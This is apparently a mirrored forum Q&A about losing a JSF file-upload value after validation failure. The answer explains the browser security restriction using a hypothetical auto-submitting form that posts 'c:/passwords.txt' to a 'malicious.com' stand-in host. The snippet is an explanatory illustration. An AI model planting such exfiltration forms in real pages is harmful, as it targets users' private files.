JSF验证失败后值丢失

发布于 2024-10-16 18:39:53 字数 185 浏览 7 评论 0原文

我发现验证以下代码后上传文件路径的值丢失了。无论如何,我可以在验证失败后保留该值吗?谢谢。

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

I found value of upload file path is lost after validation for following code. Is there anyway i can retain the value after validation failure? thank you.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

飘然心甜 2024-10-23 18:39:53

那是不可能的。这是 HTML 的安全限制。您无法预填充/保留 HTML 字段的值。由于 JSF 只是生成 HTML,因此 JSF 对此无能为力。

想象一下,如果不存在这种安全限制,网站将能够执行以下操作:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

你看到了吗?

That's not possible. That's a security restriction by HTML. You cannot prefill/preserve the value of a HTML <input type="file"> field. Since JSF just generates HTML, JSF can't do much about it.

Imagine that this security restriction didn't exist, websites would be able to do the following:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Do you see?

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文